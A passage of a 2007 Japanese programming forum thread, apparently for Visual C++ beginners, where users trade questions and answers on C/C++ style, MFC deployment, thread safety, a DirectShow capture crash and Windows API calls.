ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように
見えるだけなんじゃない?



584 名前:デフォルトの名無しさん [2007/02/27(火) 20:06:22 ]
ではなぜelseの処理に

585 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:06:35 ]
2005から始めた初心者はかなりきつい状態だろうな
本もサイトも全然ないもんな……

586 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:21:12 ]
実は
if(roopout=FALSE)
と書いていた。

587 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:23:05 ]
それに気付かなくてえらい苦労をした経験から、
条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな

588 名前:デフォルトの名無しさん mailto:sage [2007/02/27(火) 20:29:16 ]
今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。

589 名前:デフォルトの名無しさん [2007/02/27(火) 20:39:44 ]
そんな書き方してません
再起動したりしたら動きました

590 名前:516 mailto:sage [2007/02/27(火) 21:44:56 ]
ありがとうございました。
テキストファイルを見比べてみて同じようにすれば出来ました。

VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。

591 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 01:23:13 ]
>>588
VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。

592 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 01:51:43 ]
warning C4706: 条件式の比較値は、代入の結果になっています。

593 名前:591 mailto:sage [2007/02/28(水) 02:46:30 ]
ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz
安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。



594 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 14:56:39 ]
if(FALSE == flag)
みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?

595 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 15:09:53 ]
一度精神科を受診することをオススメする。

596 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 15:43:04 ]
>>594
初めて見た。

597 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 17:00:54 ]
>>594
オレも。

598 名前:594 mailto:sage [2007/02/28(水) 17:09:35 ]
>>595
ちょっと受診してくるから良い病院を紹介してくれ

599 名前:デフォルトの名無しさん mailto:sage [2007/02/28(水) 23:18:59 ]
www.kouno.jp/home/c_faq/c17.html#4

600 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 00:39:08 ]
打ちそこねで=を一つ落とすことはあっても
うっかりしてリテラルと変数を逆に書くなんてことはない。

601 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 08:11:35 ]
>>600
そりゃいないだろ
わざと逆にやってんだから

602 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 10:24:23 ]
プログラムを文章として読むと、それが気持ち悪いんだよね。
文章のように読めるプログラムを理想としてるのがわるいのかなあ。

603 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 11:20:23 ]
>>602
そうそう。たとえば、
if( a == 100 )
だと、頭の中で「a は 100 か」と読める。

でも
if( 100 == a )
だと、「100 は a か」と読んでしまう。
主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が
あってなんかイラッとする。



604 名前:デフォルトの名無しさん [2007/03/01(木) 11:27:04 ]
デバッグの停止ボタンを押すとデバッグ中のプログラムは停止しますが
解放処理等はちゃんと行われているのでしょうか?

605 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:04:11 ]
>>604
行なわれるものと行なわれないものがある。

606 名前:デフォルトの名無しさん [2007/03/01(木) 12:09:02 ]
C言語で
#include <stdio.h>

int main(void)
{
printf("こんにちは\n");
return 0;
}

って書いたプログラムってそのままC++で実行できる?
それとも
#include <iostream>
using namespace std;

int main()
{
cout << "こんにちは" << endl;
}
って書かなきゃだめ?

607 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:10:41 ]
そのままできるのがC++の強み

608 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:16:52 ]
正しくは#include <cstdio>

609 名前:デフォルトの名無しさん [2007/03/01(木) 12:18:10 ]
>>607
そうなんですか〜 ありがとうございます。
はじめたばかりの初心者ですみません。

610 名前:デフォルトの名無しさん [2007/03/01(木) 12:21:24 ]
#include <cstdio> ですか。間違えました。

611 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 12:42:34 ]
<cstdio>を使うならprintfではなく、std::printfと書かなければいけないぞ。

612 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 13:01:53 ]
C++だからといって、cin,coutに拘る必要は無い。
とか思う俺は年寄りなんだろうな……

613 名前:デフォルトの名無しさん [2007/03/01(木) 13:15:26 ]
すみません。もうひとつ。

#include <stdio.h>

int main(void)
{
printf("こんにちは\n");
return 0;
}

マイクロソフトのVisual C++でやってみたところ
画面が一瞬出てからすぐ消えちゃうんですがどうすればいいでしょうか?



614 名前:デフォルトの名無しさん [2007/03/01(木) 13:16:41 ]
こんにちは→helloに変更します。

615 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 13:22:56 ]
>>613
Visual Studioのバージョンによるが「デバッグなしで開始」するか、
コマンドプロンプトを開いてそこから実行する。

616 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 14:15:45 ]
>>613
何回も何回も出るな、その質問。
>>615でいいけど、デバッグしたいなら
rerturn にブレークポイント置くか、その前に getchar(); でも入れとけば。

617 名前:デフォルトの名無しさん [2007/03/01(木) 14:23:07 ]
>>615-616
ありがとうございます。

618 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 15:07:29 ]
C++をCコンパイラとして使うのはやめた方が良くないか?
それは強みというより、自分の首を自分で絞めているようなもののような気がする。
stdioなんて使わずに、がんばってC++のライブラリを使用すべきなんじゃないか。
論じる次元が違うかもだけど、構造化プログラミングというパラダイムとオブジェクト
指向というパラダイムを同時に使っているような気がして、なんか嫌だ。
C++がますます煙たがれ、衰退するような気がする。

619 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 16:19:30 ]
>>618
話が飛躍しすぎ

620 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 16:32:13 ]
>>618
C++はそういう複数のパラダイムを使えることが強みだと
C++の作者Stroustrupも自著D&Eで言っている。

621 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 16:37:20 ]
質問があります。
afxwin.hをインクルードしているのにも関わらず、CWndを使うと
error C2061: 構文エラー : 識別子 'CWnd'
というのが出ます。
CWndを使用するためにはafxwin.hをインクルードするだけでは足りないのでしょうか?


622 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 18:44:42 ]
そのエラーの行を、前後数行含めてコピペしてみ

623 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 19:24:24 ]
>>622
返答ありがとうございます。

この行が先頭に出て、他にエラーは出ません。



624 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 21:06:01 ]
afxwin.hがあればいい

625 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 21:14:14 ]
つまりそれ以外の原因を疑えということ

626 名前:デフォルトの名無しさん mailto:sage [2007/03/01(木) 22:31:17 ]
俺としてはcinとかcoutってそんなにいいものなのかねって思う。
C言語に変なもの持ち込んでC++を作りやがってとすら思っている。

627 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 03:05:26 ]
> 俺としてはcinとかcoutってそんなにいいものなのかねって思う
実に便利だと思う。STLと絡めると特に。

628 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 08:40:14 ]
ユーザ定義型を組込型と同じように入出力できるのはいいと思う。

629 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 08:46:27 ]
VCじゃなくてC/C++の話になると書き込みが増えるのは
VCの話には参加できなくてROMってる初心者が多いということか

630 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 08:56:49 ]
俺もストリームだけは便利さがいまだに分からん。
まあテキスト入出力自体あまりしないからかもしれん、
作るのは GUI アプリばっかだからコンソールは使わないし、
、データ保存はもっぱらバイナリだし、
設定ファイルは WritePrivateProfileString だからなあ

631 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 12:18:27 ]
>>629
C/C++の話の方がdeepな感じがするが

632 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 13:25:30 ]
VC6使ってる初心者が多いしVCは万年初心者が多いのか?
C/C++のベテランでも挫折するという話だし

633 名前:デフォルトの名無しさん mailto:sage [2007/03/02(金) 17:22:29 ]
いつまでたっても初心者だ



634 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 19:53:59 ]
完全VCオンリーで語ることなんかあるのか?

635 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 20:27:38 ]
VC固有の動作、CRTの独自拡張、MFCやATLとか

636 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 21:55:11 ]
VCという道具について語るのが目的か?
VCという道具を使ってWindowsプログラミングをするのが目的だろ

637 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 22:58:37 ]
API直打ちしている人はC言語のfgetsみたいにファイルから
テキストを一行取得するようなことをしたい場合は
ReadFileとかで適当なバイト数読み出して
行末を見つけて抜き出す、のようにやっているんですか?


638 名前:デフォルトの名無しさん mailto:sage [2007/03/03(土) 23:38:21 ]
人によるだろう

639 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 01:38:18 ]
>>637
そうだよ。SDKだけでやるならね。

640 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 05:34:28 ]
ちなみに CRT は内部で
>>637 が言ってることをやってるよ。

641 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 09:13:46 ]
SDKオンリーだろうかCランタイムだろうがVBランタイムだろうが
自前でやるか、呼び出す関数・メソッドが内部でやるか
ただそれだけのことでしかないわな

642 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 11:49:44 ]
641って馬鹿?意味を全く理解してないw

643 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 13:59:09 ]
たぶんCでべたに書くのが一番効率がいい。
けど安全性とか汎用性とかもあるから既存のライブラリを使う場合もある。
どれが一番いいのか?といわれたら
自分で何種類か書いて実際試してみるしかないだろうな
自分で試さずに人に聞いたり脳内でやってるやつは使いものにならない。



644 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 18:20:21 ]
質問です。
プロパティウィンドウからコントロールのフォントや色を変えたいのですが、
それらしい項目が見つかりません。
使っているVCのバージョンは2005なのですが、昔のバージョンは
それっぽいのがあったと思ったのですが・・・
どうやったら変更できますでしょうか?

645 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 18:30:45 ]
もともとネェヨ

646 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 18:32:59 ]
いちばん肝心な情報が抜けてるから

647 名前:デフォルトの名無しさん mailto:sage [2007/03/04(日) 23:49:02 ]
>>644
それはVBだ

648 名前:デフォルトの名無しさん [2007/03/06(火) 08:50:44 ]
VC++ やっと2003から2005に上げられたんですけど
メニューのイベント・ハンドラが変・・・・


2003ではメニューのアイテムから
イベントハンドラの追加を選ぶと、
『追加して編集』と『コードを編集』ってボタンがあって

すでにイベントハンドラがある場合は、
『コードを編集』を押すと、
ソースのその関数に飛んでくれたんだけど

2005では『追加して編集』しかないんです

これって使用なんですか?
『コードを編集』はなくなって、自分で関数を探すしかないんでしょうか?


649 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 10:19:47 ]
「コードを編集」はある。見えないだけだろう
タブで進めてリターン押してみ
IEのバージョンは?

650 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 10:23:51 ]
確かにIE7だと見えない。
>>649 の言うように、タブで移動して押すしかないな。

651 名前:デフォルトの名無しさん [2007/03/06(火) 12:37:22 ]
>>649
>>650

確かにIE7です

『追加して編集』と『キャンセル』の間が開いてて
タブで移動していって適当なところでリターンしたら『コード編集』できました

とりあえず、ありがとうございます

だけど、コード編集ボタンを直接見たり、押すことはできないんですか?

IEのバージョンを6とかに戻せばいいんでしょうか?
(戻せるのかどうかわかりませんが・・・・)

652 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 12:45:29 ]
>>644を見て思ったんだけど
unixのmotifなんかだとあらゆるコンポーネントにほとんど同一のメンバを追加することができる。
windowsのgui開発言語もそうなればいいのに。


653 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 13:42:57 ]
windowsのgui開発といってもVCに限定してもいろいろあるし



654 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 13:55:30 ]
リソースエディタはリソースを編集するエディタだから、
リソースの仕様に含まれていない以上、できなくて当然とも言えるな。

655 名前:デフォルトの名無しさん [2007/03/06(火) 14:16:21 ]
すいません、質問があります。

MS VC++.NET2003なのですが、
画面をキャプチャする方法をどなたかご存知でしょうか。

画面全体でなくてもいいのですが、
(マウスカーソルの部分の1ドットだけでいいんですが)、
キャプチャしてそこからマウスカーソルの部分の色情報を取得したいと考えています。

よろしくお願いします。

656 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 14:27:16 ]
マウスのイベントかなんかで
指定された座標のピクセルの RGB (赤、緑、青) 値を取得

657 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 14:38:18 ]
デスクトップのDC取得してGetPixel

658 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 16:31:25 ]
どうしてもうまくいかんので質問すま。

wwwdoi.elec.nara-k.ac.jp/html/jisyu/dxm/cap2/index.html
のソースを参考にDirector用のXtraを作成中なのです。
んで、ソース中の
BITMAPINFO BitmapInfo;
をヘッダに書くとその直後のCopyMemoryの箇所で落ちるのです。
何故?

ちなみに開発環境はWindowsXP+VC6.0です。

659 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:20:03 ]
> 何故?
コードがおかしいから

660 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:30:33 ]
ドコガオカシインダロウ・・・(;´д`)

661 名前:658=660 mailto:sage [2007/03/06(火) 17:32:11 ]
ID出ないの忘れてた。

662 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:35:36 ]
落ちるコードを見せろ
つーか、Copyで落ちるならサイズ間違ってんだろ

663 名前:658 mailto:sage [2007/03/06(火) 17:37:40 ]
HRESULT Cam::initialize()
{
HRESULT hr;
IBaseFilter *pSrcFilter=NULL;

CoInitialize(NULL); // COMの初期化
------------------------------(中略)--------------------------------------------------
// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

// ---- キャプチャ開始 ----
pMC -> Run();
//バッファリングを有効にする
pGrab->SetBufferSamples(TRUE);
//ワンショットモードを無効にする
pGrab->SetOneShot(FALSE);

// 画像処理バッファ用メモリ確保
bufferTemp = (BYTE *)malloc(bufsize);

return S_OK;

}



664 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:38:56 ]
(中略)部分は658リンク先のコードのコピペ。

665 名前:658 mailto:sage [2007/03/06(火) 17:41:24 ]
ヘッダは以下。
#include <windows.h>
#include <dshow.h>
#include <qedit.h> // SampleGrabber用
#include <math.h>
#include <malloc.h>

static const GUID GUID_NULL = { 0x000000, 0x0000, 0x0000, {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}};

#ifndef __ATLBASE_H__
#include <atlbase.h>
#endif

IGraphBuilder * pGraph = NULL;
IMediaControl * pMC = NULL;
ICaptureGraphBuilder2 * pCapture = NULL;
ICreateDevEnum * pDevEnum = NULL;
IEnumMoniker * pClassEnum = NULL;
IBaseFilter *pbf = NULL;
IMoniker * pMoniker = NULL;
ULONG cFetched;
IBaseFilter *pF = NULL;
ISampleGrabber *pGrab = NULL; // これらは後で解放すること

long bufsize = DEFAULT_VIDEO_WIDTH*DEFAULT_VIDEO_HEIGHT*3; //必要なバッファのサイズ
BYTE *bufferTemp = NULL;
AM_MEDIA_TYPE amt;

HWND hwnd;
BITMAPINFO BitmapInfo;
HBITMAP hBitmap;
(以下略)

666 名前:デフォルトの名無しさん [2007/03/06(火) 17:43:19 ]
コンピュータ名の取得の仕方を教えてください

667 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:43:24 ]
// ビットマップ情報の取得 
pGrab -> GetConnectedMediaType( &amt ); 
// ビデオ ヘッダーへのポインタを獲得する。 
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat; 


ちゃんと取れてるんだろうな。
エラーチェックぐらいは当然やってるよな?

668 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:43:59 ]
>>666
ぐぐれ

669 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:46:00 ]
>>667
いかんせんデバッグモードみたいなのがないのですよ。orz
これがXtra開発の嫌なところで(ry

>>658のサンプルをコンパイルして実行したら普通に動くのでたぶん取れてるはず。

670 名前:655 mailto:sage [2007/03/06(火) 17:46:59 ]
>>656-657
まだ確認はとれていないのですが、やってみます。
ご回答ありがとうございます。

671 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:54:40 ]
せめてASSERTくらい入れとけ

672 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 17:59:29 ]
ちなみに>>663中略以降を

// ビットマップ情報の取得
pGrab -> GetConnectedMediaType( &amt );
// ビデオ ヘッダーへのポインタを獲得する。
VIDEOINFOHEADER *pVideoHeader = (VIDEOINFOHEADER*)amt.pbFormat;
// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

てな感じにすると普通に動くます。
だけどこれじゃBITMAP情報取れないので意味がない。orz

673 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:10:50 ]
>>672
違いがわからんぞ
BITMAPINFO BitmapInfo; の場所だけか?



674 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:16:49 ]
>>673
そうなのです。

675 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:17:22 ]
Xtraって知らないけど663のCopy前で

BITMAPINFO tmp;
if( tmp.bmiHeader.biSize != BitmapInfo.bmiHeader.biSize)
  MessageBox(0,"勘弁してよ",0,0);

ってやったらどうなる?

676 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:20:27 ]
グローバル変数なのかよ。
本来BitmapInfoは可変サイズだからそのまま宣言することは
あまりないんだが、、まあヘッダだけ欲しいならいいのか・・・

まずは、BitmapInfoのアドレスと、sizeof(BitmapInfo)を出してみ

677 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:21:03 ]
あ、だめだ675は忘れて

678 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:21:10 ]
>>675
「勘弁してよ!」って言われた!

・・・つまりどういうこと?(;´д`)

679 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:21:39 ]
>>675
初期化してないbiSizeに意味が?

680 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:25:18 ]
sizeof(BitmapInfo)を出そうとしたら落ちる・・・orz

681 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:26:42 ]
BitmapInfoって名前がよくないw
何かとぶつかってんじゃないのか

682 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:29:52 ]
MessageBox(0,(const char *)&BitmapInfo,0,0);
なんてのを加えたら空ダイアログが出たけどこれ壮大に間違ってますよねorz

683 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:34:05 ]
正直、全体的にツッコミどころ満載。



684 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:35:02 ]
そういうのは、
sprintf(str, "%X", &BitmapInfo);
とかやるもんだ

685 名前:658 mailto:sage [2007/03/06(火) 18:38:57 ]
>>684
stdioは使えないのですよ。
コンソールとか開きませんし。

686 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:41:41 ]
あ、使えるか。orz

687 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:43:51 ]
アドレス:1000E380
sizeof(BitmapInfo):44
と出ました。

688 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 18:55:13 ]
で、ZeroMemoryで落ちなくて
CopyMemoryで落ちるのか?

ローカルでBITMAPINFO を作ってそっからコピーしては。
とにかく、オオボケかましてる率98%だからな

689 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:07:42 ]
>>688
大ボケですか・・・orz

class Cam {
BITMAPINFO BInfo;

とか宣言して

// ビデオ ヘッダーには、ビットマップ情報が含まれる。
// ビットマップ情報を BITMAPINFO 構造体にコピーする。
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));
BInfo = BitmapInfo;

なんてやっても落ちます。

690 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:14:01 ]
初心者スレだから言うけれど
落ちるにも色々あるんだ。

落ちた時のエラーメッセージを貼り付けるとよいかと

691 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:14:22 ]
BInfo = BitmapInfo;
で落ちるのか?
落ちるというのは、その行で落ちるのか?

BInfo.bmiHeader.bfType とか、各メンバにはアクセスできるのか?

692 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:19:25 ]
>>690
A fatal error has occurred. Director will quit now.
と出た後
Warning! Director is completely out of memory and
must exit immediately.
てなダイアログが出て終了しま。

693 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:20:18 ]
>>691
その行で落ちるので以降アクセスできるかどうかもわかりません。



694 名前:デフォルトの名無しさん mailto:sage [2007/03/06(火) 19:25:58 ]
BITMAPINFO BitmapInfo;
ZeroMemory( &BitmapInfo, sizeof(BitmapInfo) );
char str[100];
sprintf(str, "%X", &BInfo);
MessageBox(0,str,0,0);
printf(str, "%d", BInfo.bmiHeader.biWidth);
MessageBox(0,str,0,0);
CopyMemory( &BitmapInfo.bmiHeader, &(pVideoHeader->bmiHeader), sizeof(BITMAPINFOHEADER));

てな感じだと普通に動きます。

695 名前:658 mailto:sage [2007/03/06(火) 20:32:33 ]
似たプログラムが手元にあるんですけどそっちは普通に動くんですよね・・・。orz

とりあえず、もうちょい一人であれこれ考えてみます。

696 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 00:09:09 ]
どっかでスタック壊してそうな
こっちで再現できるだけのコードが無いともうわからん

697 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 09:12:52 ]
SendInput、INPUT構造体、KEYBDINPUT構造体を使おうとしたのですが
ビルドかけると「定義されてません」とコンパイラに怒られます
windows.hはstdafx.h内でインクルードしてあり、stdafx.hもちゃんとインクルードしてます
_WIN32_WINNTの値も問題なく、#ifディレクティブの条件にも合ってます
特に定義がスキップされる要素は無いのになぜ定義されてないと出るのかサッパリわかりません・・・

何か、原因とか手がかりとかわかる方いらっしゃいませんか

698 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 10:39:38 ]
NOUSER定義してました、とかなら殴る。
問題無いと言っている_WIN32_WINNTの値は、具体的には何だ?
stdafx.hをupした方が早いかもしれんな。
あと、とりあえずVCのバージョンは書いとけ。

699 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 10:56:52 ]
_WIN32_WINNTだけではなくWINVERも指定しておけよ。

700 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 11:28:21 ]
バージョンはVC++7.0です
_WIN32_WINNTは0x0500となってました
(winuser.hのSendInput周辺を囲ってる#ifは_WIN32_WINNT > 0x0400でした)
WINVERの方は覚えてないです・・・

701 名前:デフォルトの名無しさん [2007/03/07(水) 17:59:19 ]
質問があります。

VS.NET 2003 VC++ の環境で、
フォームにラベルを配置し、ラベルのMouseMoveイベントに以下のコードを書きました。

  // ボタン押下しっぱなしであれば移動
  if(e->Button == MouseButtons::Left) {
    label_sp->Location.X = e->X;
    label_sp->Location.Y = e->Y;
    label_sp->Invalidate();
  }

私は、このラベルをマウスでドラッグできることを予測して
このコードを書きました。

ところが、ラベルはぴくりとも動いてくれません。
なぜなのでしょうか?

702 名前:701 mailto:sage [2007/03/07(水) 18:48:08 ]
自己解決しました…。
以下に解決に至ったコードを書きます。

  // ボタン押下していれば移動
  if(e->Button == MouseButtons::Left) {
   int X = Form1::MousePosition.X - Form1::Location.X
   int Y = Form1::MousePosition.Y - Form1::Location.Y
   label_sp->Location = Point(X, Y);
  }

多少ズレはありますがこのようにやってみます。
スレ汚しすみません。

703 名前:デフォルトの名無しさん [2007/03/07(水) 18:56:45 ]
localtime関数はマルチスレッドで使う場合
スレッドセーフではないと聞きました
VC++2002ですが解決策を教えてください



704 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:01:54 ]
>>703
マルチスレッドは良くない。

705 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:02:36 ]
マルチかよ

706 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:03:16 ]
>>702
label_sp->Location = Point(X, Y); // ここ重要
Location.Xは、返された一時オブジェクトに対しての操作なので、
ラベルには反映されなかった。

707 名前:702 mailto:sage [2007/03/07(水) 19:27:56 ]
>>706
あ、いえ、あれで実際動いてますよ?
ラベルのドラックができてます。
まだ、マウスカーソルのサイズ分のズレがありますが、それは調整中です。

回答ありがとうございます。

708 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:31:11 ]
>>703
スレッドセーフでないものをスレッドセーフにするには、
ラップすれば良いと何かの本で…
私ごときでは具体例は出せませんが

709 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 19:52:02 ]
>>703
VC++2002がどんな設定だったか覚えていないが
設定でマルチスレッド対応のランタイムライブラリを選べばOK。
(推測)

それとスレッドの作成に
Win32APIのCreateThreadではなく
C言語用かMFC用のを使えばいいんじゃない。

710 名前:706 mailto:sage [2007/03/07(水) 20:04:20 ]
>>707
>>701が動かない理由な。判りにくくてすまそ。

711 名前:デフォルトの名無しさん mailto:sage [2007/03/07(水) 20:07:53 ]
>>703
マルチってほんとに便利ですね。いらないスレッドはポイですよ。

【初心者歓迎】C/C++室 Ver.35【環境依存OK】
pc11.2ch.net/test/read.cgi/tech/1171888583/331


712 名前:デフォルトの名無しさん [2007/03/08(木) 10:59:55 ]
質問に合うスレッドに書き換えただけですがなにか?

713 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 11:17:00 ]
そもそも、何でスレッドセーフではないのか?
を考えたことあるか?



714 名前:デフォルトの名無しさん [2007/03/08(木) 11:58:24 ]
内部の静的な領域を使い回しするからですよね

715 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 13:16:21 ]
「〜ですけど、何か?」ってすっかり一般的になってるなw

もともとこの言い回し、WhiteAlbumってゲームに出てきたジャーマネの口癖を
パクッたやつだって知ってるヤツはあまりいまい…


716 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 13:35:25 ]
数年前にはやった

717 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 14:00:28 ]
6年来の葉鍵板住人だけど初耳だった

718 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 18:04:21 ]
>>717
だったら「〜ですが何か?PART.XX」ってスレ、何度も目撃してるはずだが…
たしか名前は弥生さんだった
スレ違いスマソ

719 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 19:49:01 ]
C++で委譲しまくってたら処理を振り分ける部分が恐ろしく複雑で忙しそうになってしまった
最初のうちは入門書に載ってるみたいに色んな機能を併せ持った奴作っていくようにした方がいいんでしょうか?

720 名前:デフォルトの名無しさん [2007/03/08(木) 22:56:09 ]
教えてください。
VC .NET 2003 でMFCを使ってプログラムを使うと、他の2003、2000の
環境で「MFC70.DLLがない」というエラーで実行できませんでした。

DLLを入れれば動くのは分かりますが、VCのコンパイルオプションなどで
通常の2000などの環境でも動くように出来ないのでしょうか?
「プロパティ-全般-MFCの使用」でスタティックにすれば実行できましたが、
スタティックにしたために実行ファイルのサイズが大きくなり格好が悪いです。

もっとスマートな方法はないでしょうか?

721 名前:720 mailto:sage [2007/03/08(木) 22:56:50 ]
> VC .NET 2003 でMFCを使ってプログラムを使うと
VC .NET 2003 でMFCを使ってプログラムを作ると


の間違いでした。

722 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 23:16:42 ]
寝言?

723 名前:デフォルトの名無しさん mailto:sage [2007/03/08(木) 23:56:13 ]
実行ファイルが数MBあったところで、ガタガタ抜かす奴は今時いないから気にするな。



724 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 00:00:24 ]
>>720
EXEにMFC70.DLLを同梱
スタティックリンク
MFCを使わない

さあどれでも好きなものを選べ。

725 名前:デフォルトの名無しさん mailto:sage [2007/03/09(金) 00:04:10 ]
ネットで配布されてるフリーのライブラリを複数併用してると
実行ファイルが凄いことになるよな
併用できるように(試行錯誤で)改造することは出来ても不要なコンポーネントを削ることまでは出来ないから
結局10MbytesのExeとかになっちゃう
